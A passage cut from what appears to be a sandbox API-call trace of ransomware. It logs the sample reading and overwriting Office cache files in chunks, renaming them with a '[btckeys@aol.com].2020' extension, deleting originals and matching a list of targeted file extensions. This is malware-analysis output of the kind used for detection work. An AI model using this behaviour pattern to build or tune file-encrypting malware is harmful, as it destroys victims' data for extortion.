dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0068.192] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0068.192] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0068.192] ReadFile (in: hFile=0x1dc, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.454] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0068.455] ReadFile (in: hFile=0x1dc, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.158] ReadFile (in: hFile=0x1dc, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.604] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0069.604] WriteFile (in: hFile=0x1dc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0069.628] SetEndOfFile (hFile=0x1dc) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa8 [0069.631] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0069.631] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa8*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.632] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0069.632] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa8*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.931] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0069.931] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa8*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.933] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa8 | out: hHeap=0x4b0000) returned 1 [0069.979] CloseHandle (hObject=0x1dc) returned 1 [0073.313] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0073.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.314] lstrlenW (lpString=".doc") returned 4 [0073.314] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString=".docx") returned 5 [0073.315] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.315] lstrlenW (lpString=".pdf") returned 4 [0073.315] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString=".xls") returned 4 [0073.315] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString=".xlsx") returned 5 [0073.315] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.315] lstrlenW (lpString=".ppt") returned 4 [0073.315] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.315] lstrlenW (lpString=".zip") returned 4 [0073.315] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString=".rar") returned 4 [0073.315] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString=".bz2") returned 4 [0073.315] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.315] lstrlenW (lpString=".7z") returned 3 [0073.315] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.315] lstrlenW (lpString=".dbf") returned 4 [0073.315] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.315] lstrlenW (lpString=".1cd") returned 4 [0073.315] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.315] lstrlenW (lpString=".jpg") returned 4 [0073.316] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.316] lstrlenW (lpString=".doc") returned 4 [0073.316] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString=".docx") returned 5 [0073.316] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.316] lstrlenW (lpString=".pdf") returned 4 [0073.316] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString=".xls") returned 4 [0073.316] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString=".xlsx") returned 5 [0073.316] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.316] lstrlenW (lpString=".ppt") returned 4 [0073.316] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.316] lstrlenW (lpString=".zip") returned 4 [0073.316] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString=".rar") returned 4 [0073.316] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.316] lstrlenW (lpString=".bz2") returned 4 [0073.316] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.317] lstrlenW (lpString=".7z") returned 3 [0073.317] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.317] lstrlenW (lpString=".dbf") returned 4 [0073.317] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.317] lstrlenW (lpString=".1cd") returned 4 [0073.317] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0073.317] lstrlenW (lpString=".jpg") returned 4 [0073.317] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.317] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0073.317] lstrlenW (lpString="Proof.msi") returned 9 [0073.317] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0073.318] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=885760) returned 1 [0073.318] CloseHandle (hObject=0x1dc) returned 1 [0073.319] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0073.319] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0073.320] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.320] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.321] GetLastError () returned 0x0 [0073.321] ReadFile (in: hFile=0x1dc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xd8400, lpOverlapped=0x0) returned 1 [0073.449] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0073.467] ReadFile (in: hFile=0x1dc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0073.467] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.467] SetEndOfFile (hFile=0x204) returned 1 [0073.468] CloseHandle (hObject=0x204) returned 1 [0073.722] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.722] SetEndOfFile (hFile=0x1dc) returned 1 [0073.730] CloseHandle (hObject=0x1dc) returned 1 [0073.730] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0073.731] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0073.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.731] lstrlenW (lpString=".doc") returned 4 [0073.731] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.731] lstrlenW (lpString=".docx") returned 5 [0073.731] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0073.731] lstrlenW (lpString=".pdf") returned 4 [0073.731] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.731] lstrlenW (lpString=".xls") returned 4 [0073.731] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.732] lstrlenW (lpString=".xlsx") returned 5 [0073.732] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0073.732] lstrlenW (lpString=".ppt") returned 4 [0073.732] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.732] lstrlenW (lpString=".zip") returned 4 [0073.732] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.732] lstrlenW (lpString=".rar") returned 4 [0073.732] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.732] lstrlenW (lpString=".bz2") returned 4 [0073.732] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.732] lstrlenW (lpString=".7z") returned 3 [0073.732] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.732] lstrlenW (lpString=".dbf") returned 4 [0073.732] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.732] lstrlenW (lpString=".1cd") returned 4 [0073.732] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.732] lstrlenW (lpString=".jpg") returned 4 [0073.732] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.732] lstrlenW (lpString=".doc") returned 4 [0073.733] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.733] lstrlenW (lpString=".docx") returned 5 [0073.733] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0073.733] lstrlenW (lpString=".pdf") returned 4 [0073.733] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.733] lstrlenW (lpString=".xls") returned 4 [0073.733] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.733] lstrlenW (lpString=".xlsx") returned 5 [0073.733] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0073.733] lstrlenW (lpString=".ppt") returned 4 [0073.733] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.733] lstrlenW (lpString=".zip") returned 4 [0073.733] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.733] lstrlenW (lpString=".rar") returned 4 [0073.733] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.733] lstrlenW (lpString=".bz2") returned 4 [0073.733] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.733] lstrlenW (lpString=".7z") returned 3 [0073.733] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.733] lstrlenW (lpString=".dbf") returned 4 [0073.733] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.733] lstrlenW (lpString=".1cd") returned 4 [0073.733] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0073.733] lstrlenW (lpString=".jpg") returned 4 [0073.734] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.734] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0073.734] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0073.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0073.734] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=2928955) returned 1 [0073.734] CloseHandle (hObject=0x1dc) returned 1 [0073.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0073.735] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.735] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0073.735] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0073.736] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0073.736] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0073.736] ReadFile (in: hFile=0x1dc, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.740] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0073.740] ReadFile (in: hFile=0x1dc, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.750] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.750] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0073.750] ReadFile (in: hFile=0x1dc, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.053] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.053] WriteFile (in: hFile=0x1dc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0074.073] SetEndOfFile (hFile=0x1dc) returned 1 [0074.073] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0074.073] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0074.073] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.075] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0074.075] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.079] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0074.079] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.082] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0074.082] CloseHandle (hObject=0x1dc) returned 1 [0074.727] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0074.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.727] lstrlenW (lpString=".doc") returned 4 [0074.727] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.727] lstrlenW (lpString=".docx") returned 5 [0074.727] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.727] lstrlenW (lpString=".pdf") returned 4 [0074.727] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.727] lstrlenW (lpString=".xls") returned 4 [0074.727] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.727] lstrlenW (lpString=".xlsx") returned 5 [0074.727] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.727] lstrlenW (lpString=".ppt") returned 4 [0074.727] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.727] lstrlenW (lpString=".zip") returned 4 [0074.727] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.727] lstrlenW (lpString=".rar") returned 4 [0074.727] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString=".bz2") returned 4 [0074.728] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.728] lstrlenW (lpString=".7z") returned 3 [0074.728] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.728] lstrlenW (lpString=".dbf") returned 4 [0074.728] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.728] lstrlenW (lpString=".1cd") returned 4 [0074.728] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.728] lstrlenW (lpString=".jpg") returned 4 [0074.728] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.728] lstrlenW (lpString="C:\\MSOCache\\All 